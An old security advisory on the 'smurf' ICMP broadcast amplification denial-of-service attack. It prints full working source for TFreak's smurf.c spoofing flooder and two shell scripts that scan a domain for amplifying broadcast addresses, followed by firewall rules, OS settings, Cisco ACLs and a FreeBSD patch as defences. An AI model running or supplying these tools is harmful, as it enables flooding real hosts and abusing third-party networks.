COMMAND

    smurf attack

SYSTEMS AFFECTED

    All systems?

PROBLEM

    T. Freak found following.  It's about `smurf' multi-broadcast icmp
    attack.  The `smurf'attack is  quite simple.  The "smurf"  attack,
    named  after  its  exploit  program,  is  the  most  recent in the
    category of  network-level attacks  against hosts.   A perpetrator
    sends a  large amount  of ICMP  echo (ping)  traffic at  broadcast
    addresses, all of it having a spoofed source address of a  victim.
    If  the  routing  device  delivering  traffic  to  those broadcast
    addresses performs the IP broadcast to layer 2 broadcast  function
    noted below,  most hosts  on that  IP network  will take  the ICMP
    echo request and reply to it with an echo reply each,  multiplying
    the traffic by the number of hosts responding.  On a  multi-access
    broadcast network, there could potentially be hundreds of machines
    to reply to each packet.

    Exploit code follows (exploit code  ported for BSD systems can  be
    obtained via smurf #2 in this section):

    /*
     *
     * $Id smurf.c,v 4.0 1997/10/11 13:02:42 EST tfreak Exp $
     *
     * spoofs icmp packets from a host to various broadcast  addresses
     * resulting  in  multiple  replies  to  that  host from a  single
     * packet.
     *
     * disclaimer:
     *   I cannot and  will not be held responsible nor  legally bound
     *   for the  malicious activities  of individuals  who come  into
     *   possession  of this program and  I refuse to provide  help or
     *   support of any kind and do NOT condone use of this program to
     *   deny  service  to  anyone   or  any  machine.   This  is  for
     *   educational use only.  Please Don't abuse this.
     *
     */

    #include <signal.h>
    #include <stdio.h>
    #include <stdlib.h>
    #include <sys/socket.h>
    #include <sys/types.h>
    #include <netinet/in.h>
    #include <netinet/ip.h>
    #include <netinet/ip_icmp.h>
    #include <netdb.h>
    #include <ctype.h>
    #include <arpa/inet.h>
    #include <unistd.h>
    #include <string.h>

    void banner(void);
    void usage(char *);
    void smurf(int, struct sockaddr_in, u_long, int);
    void ctrlc(int);
    unsigned short in_chksum(u_short *, int);


    /* stamp */
    char id[] = "$Id smurf.c,v 4.0 1997/10/11 13:02:42 EST tfreak Exp $";

    int main (int argc, char *argv[])
    {
       struct sockaddr_in sin;
       struct hostent *he;
       FILE   *bcastfile;
       int    i, sock, bcast, delay, num, pktsize, cycle = 0, x;
       char   buf[32], **bcastaddr = malloc(8192);

       banner();
       signal(SIGINT, ctrlc);

       if (argc < 6) usage(argv[0]);

       if ((he = gethostbyname(argv[1])) == NULL) {
	  perror("resolving source host");
	  exit(-1);
       }
       memcpy((caddr_t)&sin.sin_addr, he->h_addr, he->h_length);
       sin.sin_family = AF_INET;
       sin.sin_port = htons(0);

       num = atoi(argv[3]);
       delay = atoi(argv[4]);
       pktsize = atoi(argv[5]);

       if ((bcastfile = fopen(argv[2], "r")) == NULL) {
	  perror("opening bcast file");
	  exit(-1);
       }
       x = 0;
       while (!feof(bcastfile)) {
	  fgets(buf, 32, bcastfile);
	  if (buf[0] == '#' || buf[0] == '\n' || ! isdigit(buf[0])) continue;
	  for (i = 0; i < strlen(buf); i++)
	      if (buf[i] == '\n') buf[i] = '\0';
	  bcastaddr[x] = malloc(32);
	  strcpy(bcastaddr[x], buf);
	  x++;
       }
       bcastaddr[x] = 0x0;
       fclose(bcastfile);

       if (x == 0) {
	  fprintf(stderr, "ERROR: no broadcasts found in file %s\n\n", argv[2]);
	  exit(-1);
       }
       if (pktsize > 1024) {
	  fprintf(stderr, "ERROR: packet size must be < 1024\n\n");
	  exit(-1);
       }

       if ((sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) {
	  perror("getting socket");
	  exit(-1);
       }
       setsockopt(sock, SOL_SOCKET, SO_BROADCAST, (char *)&bcast, sizeof(bcast));

       printf("Flooding %s (. = 25 outgoing packets)\n", argv[1]);

       for (i = 0; i < num || !num; i++) {
	  if (!(i % 25)) { printf("."); fflush(stdout); }
	  smurf(sock, sin, inet_addr(bcastaddr[cycle]), pktsize);
	  cycle++;
	  if (bcastaddr[cycle] == 0x0) cycle = 0;
	  usleep(delay);
       }
       puts("\n\n");
       return 0;
    }

    void banner (void)
    {
       puts("\nsmurf.c v4.0 by TFreak\n");
    }

    void usage (char *prog)
    {
       fprintf(stderr, "usage: %s <target> <bcast file> "
		       "<num packets> <packet delay> <packet size>\n\n"
		       "target        = address to hit\n"
		       "bcast file    = file to read broadcast addresses from\n"
		       "num packets   = number of packets to send (0 = flood)\n"
		       "packet delay  = wait between each packet (in ms)\n"
		       "packet size   = size of packet (< 1024)\n\n", prog);
       exit(-1);
    }

    void smurf (int sock, struct sockaddr_in sin, u_long dest, int psize)
    {
       struct iphdr *ip;
       struct icmphdr *icmp;
       char *packet;

       packet = malloc(sizeof(struct iphdr) + sizeof(struct icmphdr) + psize);
       ip = (struct iphdr *)packet;
       icmp = (struct icmphdr *) (packet + sizeof(struct iphdr));

       memset(packet, 0, sizeof(struct iphdr) + sizeof(struct icmphdr) + psize);

       ip->tot_len = htons(sizeof(struct iphdr) + sizeof(struct icmphdr) + psize);
       ip->ihl = 5;
       ip->version = 4;
       ip->ttl = 255;
       ip->tos = 0;
       ip->frag_off = 0;
       ip->protocol = IPPROTO_ICMP;
       ip->saddr = sin.sin_addr.s_addr;
       ip->daddr = dest;
       ip->check = in_chksum((u_short *)ip, sizeof(struct iphdr));
       icmp->type = 8;
       icmp->code = 0;
       icmp->checksum = in_chksum((u_short *)icmp, sizeof(struct icmphdr) + psize);

       sendto(sock, packet, sizeof(struct iphdr) + sizeof(struct icmphdr) + psize,
	      0, (struct sockaddr *)&sin, sizeof(struct sockaddr));

       free(packet);           /* free willy! */
    }

    void ctrlc (int ignored)
    {
       puts("\nDone!\n");
       exit(1);
    }

    unsigned short in_chksum (u_short *addr, int len)
    {
       register int nleft = len;
       register int sum = 0;
       u_short answer = 0;

       while (nleft > 1) {
	  sum += *addr++;
	  nleft -= 2;
       }

       if (nleft == 1) {
	  *(u_char *)(&answer) = *(u_char *)addr;
	  sum += answer;
       }

       sum = (sum >> 16) + (sum + 0xffff);
       sum += (sum >> 16);
       answer = ~sum;
       return(answer);
    }

    Hyped added  following programs  as help  to previous.   Note that
    this script has two parts.

    --- bips.sh ---

    #!/bin/bash
    # find broadcast ip's that reply with 30+ dupes.

    # i decided  to make this  script into two  sections. when running
    # this make sure both parts are in the same directory.

    if [ $# != 1 ]; then
    echo "$0 <domain - ie: college.edu>"
    else
    host -l $1 | grep 'has address' | cut -d' ' -f4 > $1.ips
    cat $1.ips | cut -d'.' -f1-3 | sort |\
    awk '{ print echo ""$1".255" }' > $1.tmp
    cat $1.tmp | uniq | awk '{ print "./chekdup.sh "$1"" }' > $1.ping
    rm -f $1.ips $1.tmp
    chmod 700 $1.ping
    ./$1.ping
    rm $1.ping
    fi

    --- chekdup.sh ---

    #!/bin/bash
    # this checks possible broadcast  ip's for a given amount  of icmp
    # echo replies.

    ping -c 2 $1 > $1.out
    if
    cat $1.out | grep dupl > /dev/null
    then
    export DUPES="`cat $1.out | grep dupl | cut -d'+' -f2 | cut -d' ' -f1`"
    else
    export DUPES=1
    fi
    if [ $DUPES -gt 30 ]; then
    echo "$1 had $DUPES dupes" >> bips.results
    rm -f $1.out
    else
    rm -f $1.out
    fi

SOLUTION

    See:

	http://www.quadrunner.com/~chuegen/smurf.txt

    for the information on how to protect your network, as well as how
    to prevent _helping_ those who are launching the attacks.

    MCI is currently working on a patch or dectector of some kind  for
    it, which is available at:

	http://www.internetnews.com/isp-news/1997/10/0901-mci.html

    See:

	http://www.security.mci.net/dostracker/

    for more details.  It's a perl script which will log into a series
    of Cisco routers and track an attack interface-by-interface to the
    edge of the network.

    Jon Lewis posted how to fix that under Linux.  You can  accomplish
    that with ipfwadm:

	ipfwadm -I -a deny -P icmp -D 123.123.123.0 -S 0/0 0 8
	ipfwadm -I -a deny -P icmp -D 123.123.123.255 -S 0/0 0 8

    Replace 123.123.123.0 and 123.123.123.255 with the actual  network
    and broadcast addresses for your lan.

    Brad Powell posted same thing for  Sun.  Below is a shell   script
    that is part of titan a tool suite that fixes many of these common
    problems in/for Solaris (only/mostly).

    #!/bin/sh

    # bpowell 06/21/97  script to add the ndd line to disable response to echo
    # modifies S69inet
    #
    # Note
    ###
    # This tool suite was written by and is copyright Brad Powell 1991,
    # 1992, 1993, 1994, 1995, and 1996, with help and input from Casper Dik,
    # Alec Muffett, Dan Farmer, and Matt Archibald.
    #
    # The copyright holder disclaims all responsibility or liability with
    # respect to its usage or its effect upon hardware or computer
    # systems, and maintains copyright as set out in the "LICENCE"
    # document which accompanies distribution.
    #
    # Titan version 0.1
    #
    # setup
    PATH=/usr/ucb:/bin:/usr/bin:/sbin
    MYNAME=`basename $0`

    # Check for execution by root

	if [ `/usr/xpg4/bin/id -un` != root ]
	then
	    echo " "
	    echo >&2 "$MYNAME: error: must be run as root."
	    echo " "
	    exit 1
	fi


    #   Introduction

    # cat << EOF
    #
    # This disables ip_respond_to_echo_broadcast so that specific ping crashes
    # don't work
    # The program modifies /etc/rc2.d/S69inet
    #
    # ndd -set /dev/ip ip_respond_to_echo_broadcast 0
    # EOF

    # echo press enter to continue"\c"
    # read YN

    if test -f /etc/rc2.d/S??inet
    then
		    echo "  Now adding the new ndd command"

		    ed - /etc/rc2.d/S??inet <<- !
		    g/tcp_old_urp_interpretation
		    a
		    ndd -set /dev/ip ip_respond_to_echo_broadcast 0
		    .
		    w
		    Q
		    !

	    echo "   Modifcations to rc2.d complete"
    fi
	    echo "   Done."

    On AIX the "no" command is  used to turn this feature on  and off.
    By default AIX will not respond to pings to the brodcast  address.
    This  works  only  for  AIX4.   Aix  3  variants will respond to a
    broadcast ping, and the 'no'  command (for AIX3) does not  support
    the 'bcastping' directive.  For a startup script, the 'no'  syntax
    for AIX4 is:

	no -o bcastping=0         # disable bcast ping responses (default)
	no -o bcastping=1         # enable bcast ping responses

    Cray Research - A  Silicon Graphics Company with  current versions
    of Unicos  and Unicos/mk  do not  have the  ability to reject ICMP
    requests  send  to  broadcast  addresses.   They are tracking this
    problem through SPR 709733.

    Cisco  recommends   the  following   configuration  settings    as
    protection against being used as an intermediary in smurf attacks:

	1. Disabling IP directed broadcast for all interfaces on which
	   it is not needed. This must  be done on all routers in  the
	   network, not just on the border routers. The command "no ip
	   directed-broadcast" should be applied to each interface  on
	   which directed broadcasts are to be disabled.  Very few  IP
	   applications actually need to use directed broadcasts,  and
	   it's extremely rare for such an application to be in use in
	   a   network   without   the   knowledge   of   the  network
	   administrator.  Nonetheless,  as when any  functionality is
	   disabled, you should be  alert for possible problems.  This
	   is the preferred solution for most networks.

	   2. If your network  configuration is simple enough  for you
	      to  create  and  maintain  a  list  of  all the directed
	      broadcast addresses in your  network, and if you  have a
	      well-defined perimeter separating your own network  from
	      potentially hostile  networks, consider  using a  filter
	      at  the  perimeter  to  prevent directed broadcasts from
	      entering  the  network.   For  example,  if your network
	      number is  172.16.0.0, and  you uniformly  use a  subnet
	      mask of 255.255.255.0, then you might use a Cisco access
	      list entry like:

	access-list 101 deny ip 0.0.0.0 255.255.255.255 172.16.0.255 0.0.255.0

	      Note  that  this  is  not  a  complete access list; it's
	      simply a single entry.  See the Cisco documentation  for
	      more information on  configuring access lists.  The best
	      place to apply such a filter is usually on the  incoming
	      side  of  each  router  interface  that  connects to the
	      potentially hostile network.

    FreeBSD patched their release.  Patch:

    Index: ip_icmp.c
    ===================================================================
    RCS file: /home/ncvs/src/sys/netinet/ip_icmp.c,v
    retrieving revision 1.29
    retrieving revision 1.30
    diff -c -r1.29 -r1.30
    *** ip_icmp.c   1997/08/25 16:29:27     1.29
    --- ip_icmp.c   1998/05/26 11:34:30     1.30
    ***************
    *** 375,382 ****

	    case ICMP_ECHO:
		    if (!icmpbmcastecho
    !                   && (m->m_flags & (M_MCAST | M_BCAST)) != 0
    !                   && IN_MULTICAST(ntohl(ip->ip_dst.s_addr))) {
			    icmpstat.icps_bmcastecho++;
			    break;
		    }
    --- 375,381 ----

	    case ICMP_ECHO:
		    if (!icmpbmcastecho
    !                   && (m->m_flags & (M_MCAST | M_BCAST)) != 0) {
			    icmpstat.icps_bmcastecho++;
			    break;
		    }
    ***************
    *** 385,392 ****

	    case ICMP_TSTAMP:
		    if (!icmpbmcastecho
    !                   && (m->m_flags & (M_MCAST | M_BCAST)) != 0
    !                   && IN_MULTICAST(ntohl(ip->ip_dst.s_addr))) {
			    icmpstat.icps_bmcasttstamp++;
			    break;
		    }
    --- 384,390 ----

	    case ICMP_TSTAMP:
		    if (!icmpbmcastecho
    !                   && (m->m_flags & (M_MCAST | M_BCAST)) != 0) {
			    icmpstat.icps_bmcasttstamp++;
			    break;
		    }

    Under NetBSD you can disable directed broadcast with this command,
    as root:

	# sysctl -w net.inet.ip.directed-broadcast=0

    There's also SmurfLog available.   The latest version of  SmurfLog
    can be found at

        http://www.sy.net/security